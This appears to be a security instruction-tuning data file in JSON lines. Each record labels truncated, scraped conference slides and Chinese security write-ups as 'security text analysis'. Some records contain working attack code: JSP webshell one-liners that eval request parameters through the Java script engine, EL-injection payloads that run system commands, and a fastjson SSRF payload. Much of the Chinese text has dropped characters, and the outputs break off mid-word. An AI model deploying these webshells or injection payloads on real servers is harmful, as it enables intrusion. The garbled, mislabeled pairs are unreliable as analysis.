surveillance technologies are commercially available How much surveillance is happening in other parts of the world? Technical and operational requirements dictate ight patterns Surveillance ights look very dierent from most other trac HOW DO WE TRACK AIRCRAFT? Radar is not practical ADS-B messages are the way to go Active community of radio / aviation / hacking enthusiasts collect ADS-B data Requires a Raspberry Pi 1B+, an RTL-SDR radio, antenna, and internet connection Multiple aggregators collect data FlightRadar24.com, FlightAware.com, adsbexchange.com", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBoutique Kit Playing WarGames with expensive rootkits and malware Josh m0nk Thomas display( eratta_dc21.drink); This is Ricky Ricky likes to drink Drink when you see Ricky display( eratta_dc21.abuse); Opening Question Hands up if you run Android Keep em up if you run a custom ROM / Kernel Down if you actually compiled it Back up if you didnt look at the source Back up if you didnt do a FULL source audit Dont lie, Santa Claus and the NSA already know the answer preso.start() @m0nk_dot Why? Because logic My opinions != Accuvant Labs blah blah blah blah blah This is about understanding a problem so we can fix it
echo $AGENDA Boring Kit The public space of rootkits and malware No Name Given: Non Public Players and the new rules War Game 1: Hide deep, hide long War Game 2: Run off the processing grid War Game 3: Is it cold in here? Revisiting Tic-tac-toe: The fun we can have BORING KIT The public space of rootkits and malware Im sure its fascinating but Uber 1337 h4x0r <3 teh Malwarez But... DO NOT CARE Just iterative, boring, annoying crap Capitalism trumps innovation Disposable Non Targeted zzz Not really 0-Day Just go find the slides from damn near any recent talk from Mudge. Dont listen to me NO NAME GIVEN Non Public Players and the new rules 2+ players Game Play Mechanics Goals RTFM: Generic Game Rules Nameless people doing interesting things Define: Player 1 You know those people Maybe Even Or even: Define: Player 2 Define: Player 2 Define: Player 2 Define: Player 2 Game Mechanics We need all teh 0-Days -> gift wrap We need all teh Devices -> package Still kind of boring Not the real point Disposable... All teh 0-Dayz!!!!! Cost of the 0-Day? Need moar! No, MOAR!!!! ok, thats better All teh Devices! I need a new computer Moar computer Computer! But I run Android, Im special? Sure Unless I had. ok, thats better Kit / I", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nOracle WebLogic CVE-2022-21350 漏洞分析 漏洞简述 这是个反序列化漏洞,是条新的gadget,在低版本的JDK中可能会造成RCE险 漏洞分析 测试环境weblogic14c版本,测试JDK 1.8版本 先会调BadAttributeValueExpException.readObject法 接着会调SessionData.toString法 接着会调SessionData.isDebuggingSession法 接着会调SessionData.getAttribute法 接着会调SessionData.getAttributeInternal法 接着会调AttributeWrapperUtils.unwrapObject法 接着会调AttributeWrapperUtils.unwrapEJBObjects法 接着会调BusinessHandleImpl.getBusinessObject法 接着会调HomeHandleImpl.getEJBHome法 可以看到这调了ctx.lookup法 修复建议 及时更新补丁参考oracle官发布的补丁: https://www.oracle.com/security-alerts/cpujan2022.html", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAuthor: Recar github: https://github.com/Ciyfly w13scan浅析 w13scan 是一款由w8ay开发的python3的主被动扫描器 被动代理基于 baseproxy.py 作者是 qiye 主动扫描默认是没有爬虫的 这里分析将分为几个部分 基础模块 主动扫描 被动扫描 扫描模块 学习的地方 w13scan浅析 简单的流程图 基础模块 一些环境检测和补丁 version_check() modulePath() patch_all()补丁 初始化 主动扫描 FakeReq FakeResp 解析响应 被动扫描 扫描模块 什么时候启动扫描模块 start方法 run_threads 创建线程 task_run 运行任务 printProgress 输出目前的扫描任务情况 loader插件 主动扫描的解析插件 插件入口 PluginBase 基础插件父类 execute 传入req rsp poc主要函数 paramsCombination 组合dict参数 ResultObject 统一的结果类 self.success 输出漏洞 loader audit loader插件最终执行的方法 PerServer 检测模块 对每个domain的 backup_domain 基于域名的备份文件 errorpage 错误暴露信息 http_smuggling http smuggling 走私攻击 idea idea目录解析 iis_parse iis解析漏洞 net_xss net 通杀xss swf_files 通用flash的xss PerFolder 检测模块 针对url的目录会分隔目录分别访问 backup_folder 扫描备份文件 directory_browse 判断是否是目录遍历 phpinfo_craw 查看此目录下是否存在 phpinfo文件 repository_leak 基于流量动态查找目录下源码泄露 PerFile 检测模块 针对每个文件包括参数 analyze_parameter 反序列化参数分析插件 backup_file 基于文件的备份扫描 command_asp_code asp代码注入 command_php_code php代码注入 command_system 系统命令注入 directory_traversal 路径穿越插件 js_sensitive_content js文件敏感内容匹配 jsonp JSONP寻找插件 php_real_path 信息泄露 poc_fastjson 打fastjson的 shiro Shiro框架检测以及Key爆破 sqli_bool 布尔注入检测 sqli_error 报错注入 sqli_time 时间注入 ssti ssti模板注入探测 struts2_032 Struts2-032远程代码执行 struts2_045 Struts2-045远程代码执行 unauth 未授权访问探测插件 webpack webpack源文件泄漏 xss XSS语义化探测 SearchInputInResponse 解析html查找回显位置 如果回显位置是在html里 如果回显位置是在attibute里 测试 attibutes 测试 html 针对特殊属性进行处理 如果回显位置是注释里 如果回显位置是script里 如果回显的位置是 InlineComment js单行注释 如果回显的位置是 BlockComment js块注释 如果回显的位置是 ScriptIdentifier 如果回显的位置是 ScriptLiteral 学习的地方 (可以抄) colorama 控制台彩色输出 支持windows 随机banner load_file_to_module 另一种动态加载插件的方式 解析post数据类型 raw方法 text 自动解码响应体 将参数拆分为名称和值 返回字典 对url去重泛化模块 代理模块 xss 语法语义的形式 等等 简单的流程图 基础模块 一些环境检测和补丁 version_check() 检测是否py3 modulePath() 方法是如果是将这个w13scan.py打包成exe了的获取的路径 源自 sqlmap patch_all()补丁 关闭https请求时的验证及 忽略urllib3的日志 def patch_all(): disable_warnings() logging.getLogger(\"urllib3\").setLevel(logging.CRITICAL) ssl._create_default_https_context = ssl._create_unverified_conte", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBLACK OPS OF TCP/IP Spliced NAT2NAT And Other Packet-Level Misadventures Dan Kaminsky, CISSP DoxPara Research www.doxpara.com Where Im Coming From Black Hat 2001 Impossible Tunnels through Improbable Networks with OpenSSH Getting Out: ProxyCommands for Non-TCP comm layers HTTP, SOCKS, UDP, Packet Radio*, AIM/Yahoo* Coming In: Active Connection Brokering for NAT2NAT One host exports SSHD to broker Other host imports access from broker Passing Through: Dynamic Forwarding for Psuedo-VPN Work Web Browsing, Dialpad(Split-H323), etc. Interesting Problems Instant Portscan Is it possible to discover instantaneously what network services have been made available, even on massive networks? Guerrila Multicast Is it possible to send a single packet to multiple recipients, using todays multicast-free Internet? NATless NAT Is it possible to share a globally addressable IP address without translating private IP ranges a la NAT? Is it possible to allow incoming connections to an IP multiplexed in this manner? NAT Deadlock Resolution Is it possible to establish a TCP connection between two hosts, both behind NATs? On Possibility Restraint Free Engineering Abandon All Practicality, Ye Who Enter Here Its amazing what you can do once security is no longer a concern. Youve got what youve got. Make interesting things happen. It might end up practical. It might end up secure. Right now, its impossible. Fix that first. Maybe. ObThreeWayHandshakeIntro Connection Request (Alice -> Bob) SYN: I want to talk to you Connection Response (Bob -> Alice) SYN|ACK: OK, lets talk. RST|ACK: I aint listening Connection Initiation (Alice -> Bob) ACK: OK, beginning conversation. What Do You Want? Port Ranges Local Port: What application requested the connection. Usually a random number, 0-65535. 0 is a valid port Remote Port: What application accepted the connection. Usually a known number 80 for HTTP 143 for IMAP 443 for HTTP/SSL IP handles who were talking to; Ports ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nconvertquota === 把老的配额文件转换为新的格式 ## 补充说明 **convertquota命令** 用于将老的磁盘额数据文件quota.user和quota.group转换为新格式的文件quota.user和quota.group ### 语法 ```shell convertquota(选项)(参数) ``` ### 选项 ```shell -u仅转换用户磁盘配额数据文件 -g仅转换组磁盘配额数据文件 -f将老的磁盘配额文件转换为新的格式 -e将新的文件格式从大字节序换为小字节序 ``` ### 参数 文件系统指定要转换磁盘配额数据文件格式的文件系统硬盘分区 ### 实例 使用convertquota指令转换指定文件系统`/data`的磁盘配额数据文件在命令行中输入下面的命令 ```shell convertquota -u /data //转换文件系统\"/data\"上的用户磁盘配额文件 ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 种新型Java句话的实现 前 基本原理 获取脚本引擎 绑定对象 eval 基本语法 调Java法 导Java类型 创建Java类型的数组 导Java类 法调与重载 Payload结构设计 语法问题的坑 两种语对象间的相互转换 Rhino/Nashorn解析的差异 反射的坑 保底操作 测试 最后 @yzddMr6 直以来Java句话都是采打字节码defineClass实现的这种法的优势是可以完整的打 进去个类可以乎实现Java上的所有功能不之处就是Payload过于巨并且不像脚本语 样便修改并且还存在很多特征例如继承ClassLoader反射调defineClass等本在这提出 种新型Java句话利Java中JS引擎实现的句话 前 基本原理 2 1. Java没有eval函数Js有eval函数可以把字符串当代码解析 2. Java从1.6开始带ScriptEngineManager这个类原持调js需安装第三库 3. ScriptEngine持在Js中调Java的对象 综上所述我们可以利Java调JS引擎的eval然后在Payload中反过来调Java对象这就是本 提出的新型Java句话的核原理 ScriptEngineManager全名javax.script.ScriptEngineManager从Java 6开始带其中Java 6/7采 的js解析引擎是Rhino从java8开始换成了Nashorn不同解析引擎对同样的代码有些差别这 点后有所体现 如果说原理其实两句话就可以说清楚但是难点在于Payload的编写跨语调最的个难点就 是数据类型以及法的转换例如Java中有byte数组Js中没有怎么办C++有指针但是Java没有 这个玩意怎么办 在实现期间踩了很多的坑这篇章跟家起掰扯掰扯希望能给家提供点帮助 或者通过eval的重载函数直接把对象通过个HashMap放进去 获取脚本引擎 Plain Text 复制代码 绑定对象 Plain Text 复制代码 //通过脚本名称获取 ScriptEngine engine = new ScriptEngineManager().getEngineByName(\"JavaScript\"); //简写为js也可以 //通过件扩展名获取 ScriptEngine engine = new ScriptEngineManager().getEngineByExtension(\"js\"); //通过MIME类型来获取 ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType(\"text/javascript\"); 1 2 3 4 5 6 ScriptEngine engine = new ScriptEngineManager().getEngineByName(\"js\"); engine.put(\"request\", request); engine.put(\"response\", response); engine.eval(request.getParameter(\"mr6\")); 1 2 3 4 3 综合上两步有很多种写法例如 shell.jsp 或者直接缩写成句 以执命令为例 POSTmr6=java.lang.Runtime.getRuntime().exec(\"calc\"); Plain Text 复制代码 eval Plain Text 复制代码 Plain Text 复制代码 new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(request.getPara meter(\"ant\"), new javax.script.SimpleBindings(new java.util.HashMap() {{ put(\"response\", response); put(\"request\", request); }})) 1 2 3 4 <% javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName(\"js\"); engine.put(\"request\", request); engine.put(\"response\", response); engine.eval(request.getParameter(\"mr6\")); %> 1 2 3 4 5 6 7 8 <% new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(requ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n360 企业安全集团 Attacking Kerberos 演讲人吴方东n1nty @ 360 A-TEAM 2 0 1 8 吴方东n1nty @ 360 A-TEAM 安全研究员 360 企业安全集团旗下的纯技术研究团队 致力于 Web 渗透APT 攻防对抗前瞻性攻防工具预研 进行严肃有深度的技术研究深入还原攻与防的技术本质 360 A-TEAM 资深失眠患者 服务端验证你是否真的是你所声称的那个人的过程 非加密通道会导致明文密码泄露 USERNAME/PASSWORD 我要登陆这是我的账号密码 对比账号密码 成功 失败 不需要传输密码本身 可在非加密通道使用 USER01 我要登陆 告诉我你是谁用你的密码加密这段随机数据 kjdfADSF435@#$ASDfd)( 我是 USER01这是我加密后的结果....... 结果一样成功 结果不一样失败 基于票据的 身份认证协议 MIT 发明 微软进行了扩展 域环境下的 首选认证协议 账号密码认证 通过向服务端发送账号密码来证明自己的身份 挑战认证 通过向服务端发送一段计算结果来证明自己的身份 Kerberos 认证 通过向服务端发送一张票来证明自己的身份 KDC 域内最重要的服务器 统一保存着所有账号的密码 使用人USER01权限xxx 允许访问的服务SMB/SERVER1 到期时间2018-08-24 23:00:00 Session key Kerberos Ticket 其他信息 KDC 印章 加密的 Kerberos 票据 KDC 域内最重要的服务器 统一保存着所有账号的密码 TGT 访问 TGS 服务的票 普通票据 访问其他服务的票 TGT 普通票据 KDC 客户端访问任何 使用 Kerberos 认证的服务之前 利用 TGT 去向 KDC 换取访问目标服务 的 KDC user01 server1 我是 user01 给我一张访问 smb\\server1 的票 我是 user01我要访问你的 smb 服务 这是证明我身份的票 KDC 1, AS-REQ 3, TGS-REQ user01 server1 2, AS-REP 4, TGS-REP 5, AP-REQ 6, AP-REP AS-REQ 我是 user01这是一段加密数据来 证明我的身份 AS-REP 身份验证成功给你一张能证明你是 user01 的票TGT以及对应的 Session Key AS-REQ AS-REP user01 KDC AS-REQ authenticator 验证因子 AS-REQ 我是 user01这是一段加密数据来 证明我的身份 AS-REP 身份验证成功给你一张能证明你是 user01 的票TGT以及对应的 Session Key AS-REQ AS-REP user01 KDC AS-REP 加密的 TGT 加密的 Session Key AS-REQ 不进行预身份认证时 我是 user01但是我不想提交 authenticator 来证明我的身份请给我一张 TGT 成功时AS-REP user01 账号存在并且配置了不要求进行预身份验证 失败时KRB-ERROR PREAUTH-REQUIRED UNKNOWN-PRINCIPLE AS-REQ AS-REP user01 KDC AS-REQ 去掉这段数据 发送 AS-REQ 请求时不进行预身份验证 根据返回的错误码可判断用户是否存在 响应类型 结果 AS-REP 响应 账号存在 且开启了 不要求 Kerberos 预身份验证选项 KRB-ERRORPREAUTH-REQUIRED 账号存在 未开启 不要求 Kerberos 预身份验证选项 KRB-ERRORCLIENT-REVOKED 账号存在 但是处于锁定状态 KRB-ERRORUNKNOWN-PRINCIPLE 账号不存在 AS-REQ由客户端发送至 KDC 我是 user01我不进行预身份验证 请给我一张 TGT AS-REP由 KDC 返回 经过检查发现 user01 被配置为不需 要进行预身份验证这里给你返回一个 AS-REP里面包含了你想要的 TGT 以及与 TGT 配合使用的 session key enc-part(session key) 部分被 RC4 算法加密且密钥为 user01 账号的 NT HASH 离线暴力破解 enc-part 可还原 user01 的明文密码 AS-REQ 用户枚 举 LDAP 查询 USER01 USER02 USER03 不需要预身份认证 USER01 Session Key USER02 Session Key USER03 Session ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nToasterkit - A NetBSD Rootkit Anthony Martinez Thomas Bowen http://mrtheplague.net/toasterkit/ Toasterkit - A NetBSD Rootkit 1. Who we are 2. What is NetBSD? Why NetBSD? 3. Rootkits on NetBSD 4. Architectural Overview 5. Our contributions 6. Demo 7. Protection 8. Prevention Who we are - Anthony Martinez Anthony is a system administrator for the New Mexico Institute of Mining and Technologys Computer Center, as well as an undergraduate Computer Science student at the university. He originally proposed the project that evolved into Toasterkit. Who we are - Thomas Bowen Thomas is a system administrator for the New Mexico Institute of Mining and Technologys Computer Center. He is also enrolled in the Computer Science program with emphasis in Information Assurance. Why NetBSD? NetBSD is a popular operating system for embedded systems. It is also extremely source-portable, meaning that when written properly, anything targeting the kernel is equally so. This way, the rootkit can work on any NetBSD port! Additionally, NetBSD is something of a research tool new ideas such as Veriexec and the kauth frameworka are being worked on in NetBSD, and nobody (else) is targeting them. aWhich originated in Mac OS X. History of Rootkits on NetBSD Chkrootkit hasnt been updated since NetBSD 1.6. Were at 4.0, with 5 soon to be released. If there are any rootkits targeting recent versions of NetBSD, none of them appear to be public. Overview of NetBSD Architecture Portable across hardware The slogan: Of course it runs NetBSD. Excellent support for cross-building. Architecture of code All of the architecture-dependent pieces are abstracted behind common functions; we dont have to worry about byte order, memory-manager specifics, etc. Loadable Kernel Modules (LKM) Not commonly used, but are enabled by default. It also allows code to infiltrate the kernel ex post facto; security-conscious administrators might disable this. Modules can add syscalls, sysctl nodes, executable formats, filesystem dr", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nVulnerable Out of the Box: An Evaluation of Android Carrier Devices Ryan Johnson - Kryptowire Angelos Stavrou - Kryptowire Why Look for Cyber Threats? Aggressive data collection Exfiltration of sensitive user-data to China (Adups) Sensitive data collection (OnePlus 5) Remote system compromise System compromise from insecure network communications (Ragentek) User data disclosure due to vendor modifications Samsung leaking log data (CVE-2017-7978) MediaTek leaking log data (CVE-2016-10135) Local privilege escalation to the root user Alcatel A30 (former Amazon Prime Exclusive Device) Leagoo P1 Privileged EngineerMode app (OnePlus 5) Android 4.4 devices with a MediaTek chipset 2 Pre-installed Apps and Vendor OS Modification Android devices contain a set of pre-installed apps May not be available on Google Play Some apps cannot be disabled Pre-installed apps can be malicious and/or insecure Insecure apps can be locally or remotely exploited Malicious apps can provide backdoor functionality and may exfiltrate sensitive user data Vendors generally modify Googles official Android code to provide custom behavior (Un)intentionally expose sensitive capabilities Privileged platform apps 3 Source: https://developer.android.com/guide/platform/index.html App Components Fundamental functional blocks of an Android app Activity Broadcast Receiver Service Content Provider Declared in the apps manifest file May provide accessible entry-points into an app for other apps to exploit by using intents which are a message-like abstraction for communication within between apps Contains Intent-specific fields and potentially embedded data 4 Exported Application Components Exported components are accessible to any process on the device Regulated by the android:exported and android:permission app component attributes Android OS will export components, by default, if the app component does not use the android:exported attribute and declares at least one intent-filter 5 > typeReference = new TypeReference>() { }; Map stringObjectMap = JSON.parseObject(\" {\\\"@type\\\":\\\"net.sf.json.JSONObject\\\",\\\"a\\\": {\\\"@type\\\":\\\"net.sf.json.JSONObject\\\",\\\"x\\\": {\\\"@type\\\":\\\"java.net.URL\\\",\\\"val\\\":\\\"http://127.0.0.1:2333\\\"}}}\", typeReference); exploit 5alt/UltraRelay ubuntu http Windows server 2008 java.net.URL http NTLM Hash NTLM Hash springboot fastjson httpMessageConverter RequestMapping @RequestBody fastjson JSON.parse SSRF json fastjson json Map fastjson Map Map JSON JSON JSON JSON Map API fastjsonJSON-liborg.json jackson gson json json", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nOpen in 30 Seconds Cracking One of the Most Secure Locks in America Marc Weber Tobias Matt Fiddler LOCKS, LIES, and HIGH INSECURITY Dominant high security lock maker 40 year history of security Many expert attempts to crack with limited success, complicated tools Misstatements and disinformation 18 month research project results: A Total compromise of security MEDECO HIGH SECURITY: UL, BHMA / ANSI, VdS Certified High level of protection against attack Picking: 10-15 minute resistance No bumping Forced Entry: 5 minutes, minimum Key control Protect restricted and proprietary keyways Stop duplication, replication, simulation of keys HIGH SECURITY LOCKS: Protect Critical Infrastructure, high value targets Stringent security requirements High security Standards Threat level is higher Protect against Forced, Covert entry Protect keys from compromise MEDECO HISTORY Dominant high security lock maker in U.S. Owns 70+ Percent of U.S. high security market for commercial and government Major government contracts In UK, France, Europe, South America Relied upon for highest security everywhere Considered almost invincible by experts WHY THE MEDECO CASE STUDY IS IMPORTANT Insight into design of high security locks Patents are no assurance of security Appearance of security v. Real World Undue reliance on Standards Manufacturer knowledge and Representations Methodology of attack More secure lock designs CONVENTIONAL v. HIGH SECURITY LOCKS CONVENTIONAL CYLINDERS Easy to pick and bump open No key control Limited forced entry resistance HIGH SECURITY CYLINDERS UL and BHMA/ANSI Standards Higher quality and tolerances Resistance to Forced and Covert Entry Key control ATTACK METHODOLOGY Assume and believe nothing Ignore the experts Think out of the box Consider prior methods of attack Always believe there is a vulnerability WORK THE PROBLEM Consider all aspects and design parameters Do not exclude any solution HIGH SECURITY LOCKS: Critical", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 EL表达式注的进阶利 前 环境搭建 正 回显执命令 有回显执命令 任意代码执 直接连接蚁剑 思路扩展 @yzddMr6 表达式注是Java安全从业者会经常碰到的类漏洞Struct2的ognl表达式注Nexus3的EL表 达式注前段时间爆出的Spring Cloud gateway的Spel表达式注等等重要性不需要多说 前段时间徐师在Make JDBC Attacks Brilliant Again 番外篇也提到了postgresql+EL表达式来 写Weblogic句话的场景所以今天想借此机会分享些进阶利的payload Tomcat 8.5+jdk8 这模拟了个el表达式注的场景 前 环境搭建 C# 复制代码 <%@ page import=\"org.apache.jasper.runtime.PageContextImpl\" %> <% String res = (String) PageContextImpl.proprietaryEvaluate(request.getParameter(\"code\"), String.class, pageContext, null); out.print(res); %> 1 2 3 4 5 2 可能家最常到的就是执命令的payload由于el表达式不能执new等操作所以需要反射来构 造 样例如下 或者是借助js引擎 不过两者都是回显的不优雅 最早看到的有回显相关的研究是在这篇章https://forum.butian.net/share/886写的常好最 后的payload如下 正 回显执命令 有回显执命令 C# 复制代码 code=${\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"exec\",\"\".get Class()).invoke(\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"get Runtime\").invoke(null),\"calc.exe\")} 1 C# 复制代码 code=${\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInsta nce().getEngineByName(\"js\").eval(\"new+java.lang.ProcessBuilder['(java.lan g.String[])'](['cmd','/c','calc']).start()\")} 1 3 由于EL表达式不持直接赋值以及new对象所以需要到pageContext.getAttribute跟 pageContext.setAttribute来间接实现变量的传递导致payload写起来常的麻烦也常的臃肿 所以我们换种思路不再使EL身的语法是在js引擎中实现我们的逻辑 在 种新型Java句话的实现 对js引擎的各种语法进了详细的解释 https://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4% B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7 %8E%B0/ 经过简化后我们的payload如下 C# 复制代码 ${pageContext.setAttribute(\"inputStream\", Runtime.getRuntime().exec(\"cmd /c dir\").getInputStream());Thread.sleep(1000);pageContext.setAttribute(\"inpu tStreamAvailable\", pageContext.getAttribute(\"inputStream\").available());pageContext.setAttri bute(\"byteBufferClass\", Class.forName(\"java.nio.ByteBuffer\"));pageContext.setAttribute(\"allocateM ethod\", pageContext.getAttribute(\"byteBufferClass\").getMethod(\"allocate\", Integer.TYPE));pageContext.setAttribute(\"heapByteBuffer\", pageContext.getAttribute(\"allocateMethod\").invoke(null, pageContext.getAttribute(\"inputStreamAva", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nget_module === 获取Linux内核模块的详细信息 ## 补充说明 **get_module命令** 用于获取Linux内核模块的详细信息 ### 语法 ```shell get_module 模块名 ``` ### 实例 使用lsmod命令查看内核模块 ```shell lsmod | head -5 Module Size Used by ipv6 272801 15 xfrm_nalgo 13381 1 ipv6 crypto_api 12609 1 xfrm_nalgo ip_conntrack_ftp 11569 0 ``` 使用get_module命令查看模块详细信息 ```shell get_module ipv6 refcnt : 15 srcversion : 8CC9C024755B4483E56C0EF Parameters: autoconf : 1 disable : 0 disable_ipv6 : 0 Sections: .altinstr_replacement : 0xf8f1a3cf .altinstructions : 0xf8f1d03c .bss : 0xf8f36000 .data.read_mostly : 0xf8f34d20 .data : 0xf8f2f7a0 .exit.text : 0xf8f1a234 .gnu.linkonce.this_module : 0xf8f34e00 .init.data : 0xf8a16a60 .init.text : 0xf8a16000 .module_sig : 0xf8f37960 .rodata.str1.1 : 0xf8f1ae46 .rodata : 0xf8f1a420 .smp_locks : 0xf8f1d150 .strtab : 0xf8f29840 .symtab : 0xf8f24000 .text : 0xf8ef5000 __kcrctab : 0xf8f1de70 __kcrctab_gpl : 0xf8f1d9cc __ksymtab : 0xf8f1dd78 __ksymtab_gpl : 0xf8f1d954 __ksymtab_strings : 0xf8f1da44 __param : 0xf8f1da08 __versions : 0xf8f1df00 ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBiting the Hand That Feeds You 2007 Biting the Hand That Feeds You 1 Biting the Hand That Feeds You Storing and Serving Malicious Content from Well Known Web Servers Billy K Rios Senior Researcher Nathan Mcfeters Senior Researcher Kicking Down the Cross Domain Door ii Intended Audience This paper assumes the reader has a solid understanding of web application security principles, Cross Site Request Forgery, and web browser security mechanisms. Contributing Authors Version 1.0 Billy Kim Rios Senior Researcher VeriSign Inc, Seattle Nathan Mcfeters Senior Researcher Advanced Security Center, Houston Kicking Down the Cross Domain Door iii Table of Contents INTENDED AUDIENCE............................................................................................................................ II CONTRIBUTING AUTHORS................................................................................................................... II CHAPTER 1 WHO DO YOU TRUST? .................................................................................................. 4 1. OVERVIEW .............................................................................................................................................. 4 2. BROWSER/APPLICATION SECURITY MEASURES...................................................................................... 4 3. A NEW TWIST ON CROSS SITE REQUEST FORGERY................................................................................. 5 CHAPTER 2 BITING THE HAND - YAHOO....................................................................................... 7 1. CREATING AN ACCOUNT......................................................................................................................... 7 2. UPLOADING CONTENT ............................................................................................................................ 7 3. BYPASSING MISCELLANEOUS PROTECTION MEASURES.........................................", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nFast verified post-quantum software Daniel J. Bernstein SymCrypt: failures for rare inputs Its actually a bug within SymCrypt, the core cryptographic library responsible for implementing asymmetric crypto algorithms in Windows 10 and symmetric crypto algorithms in Windows 8. Warning: Google Researcher Drops Windows 10 Zero-Day Security Bomb, Forbes, https://tinyurl.com/y69fx3nh Daniel J. Bernstein, Fast verified post-quantum software 3 Falcon software: skewed randomness Produced signatures were valid but leaked information on the private key. . . . The fact that these bugs existed in the first place shows that the traditional development methodology (i.e. being super careful) has failed. OFFICIAL COMMENT within NISTPQC (NIST Post-Quantum Cryptography Standardization Project), https://tinyurl.com/y5w46bde Daniel J. Bernstein, Fast verified post-quantum software 4 Minerva: timing attack Libgcrypt, wolfSSL, and Crypto++ have issued patches over the summer to fix this bug. Maintainers of MatrixSSL fixed some issues, but the library remains vulnerable. Oracles SunEC library remains open to attacks. Minerva attack can recover private keys from smart cards, cryptographic libraries, ZDNet, https://tinyurl.com/y6rlkov4 Daniel J. Bernstein, Fast verified post-quantum software 5 Cryptographic software has a problem . . . 2021.07 BlessingSpecterWeitzner You really shouldnt roll your own crypto: an empirical study of vulnerabilities in cryptographic libraries: 73 actual cryptographic vulnerabilities, including 11 severe cryptographic vulnerabilities, among OpenSSL, GnuTLS, Mozilla TLS, WolfSSL, Botan, Libgcrypt, LibreSSL, BoringSSL post-2010 CVEs. Daniel J. Bernstein, Fast verified post-quantum software 6 . . . and the complexity is getting worse Must be post-quantum! Must be fast! Must stop timing attacks! Complicated ecosystem of post-quantum specs Much more complicated ecosystem of post-quantum software Daniel J. Bernstein, Fast verified post-quantum software 7 Examples of the complic", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# angrybird (RE 125) ###ENG We are faced with x64 ELF binary. Binary is obviously corrupted - it exits right at the beginning. Unfortunatelly I don't have non-patched binary anymore, but I had to NOP a lot of code at the beginning: ```asm 55 push rbp 48 89 E5 mov rbp, rsp 48 83 C4 80 add rsp, 0FFFFFFFFFFFFFF80h 64 48 8B 04 25 28+mov rax, fs:28h 48 89 45 F8 mov [rbp+var_8], rax 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 48 C7 45 90 18 60+mov [rbp+var_70], offset strncmpp 48 C7 45 98 20 60+mov [rbp+var_68], offset putsp 48 C7 45 A0 28 60+mov [rbp+var_60], offset stack_chk_fail 48 C7 45 A8 38 60+mov [rbp+var_58], offset startmain B8 00 00 00 00 mov eax, 0 E8 4B FF FF FF call should_return_21 89 45 8C mov [rbp+n], eax B8 00 00 00 00 mov eax, 0 90 nop 90 nop 90 nop 90 nop 90 nop B8 00 00 00 00 mov eax, 0 ``` And patch function `should return 21` (because according to debug string, it should return 21): ```asm should_return_21 proc near 55 push rbp 48 89 E5 mov rbp, rsp BF 64 50 40 00 mov edi, offset s ; \"you should return 21 not 1 :(\" E8 8C FE FF FF call _puts 8B 05 56 59 20 00 mov eax, cs:const_1 5D pop rbp C3 retn should_return_21 endp ``` Now binary is working correctly: it reads flag, and does a lot of checks, one char at a time: ![](./screen1.png) This looks easy enough, right? Well, let's zoom out: ![](./screen2.png) Wait, what? Let's zoom out even more: ![](./screen3.png) `O_o`. Ok, we might need to do this more intelligently. Turns out that if you think hard enough, everything is trivial. Or maybe just angr creators are genius, I don't know. Anyway, I created this very basic angr script (my second angr experience ever): ```python import angr main = 0x4007DA find = 0x404FAB find = 0x404FC1 avoid = [0x400590] p = angr.Project('./angrybird2') init = p.factory.blank_state(addr=main) pg = p.factory.path_group(init, threads=8) ex = pg.explore(find=find, avoid=avoid) final = ex.found[0].state flag = final.posix.dumps(0) print(\"Flag: {0}", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# condrv.sys 内存损坏漏洞 前面的没怎么看懂,尝试看后面的 condrv.sys 全局找 condrv.sys, 发现 C:\\Windows\\System32\\drivers\\condrv.sys, 复制一份, ida64 打开 选择从符号服务器下载 跟到 CdpDispatchCreate 查看反汇编 它会循环比较文件名是不是预定义的几个如果是则调用预定义的创建回调函数 跟到 CdpObjectCreationTable 目前网上的 poc 如下 ``` ``` poc 里面打开的是 kernelconnect, 所以会调用 CdCreateKernelConnection, 跟进 这里判断, 如果先前模式是 usermode 则返回 - 1073741790, 简单换算一些 ``` 1. 先将 1073741790 转换成 2进制,共 30 位 11 1111 1111 1111 1111 1111 1101 1110 2. 最前面一位为符号位 1,前面补一位0 得 32 位 1011 1111 1111 1111 1111 1111 1101 1110 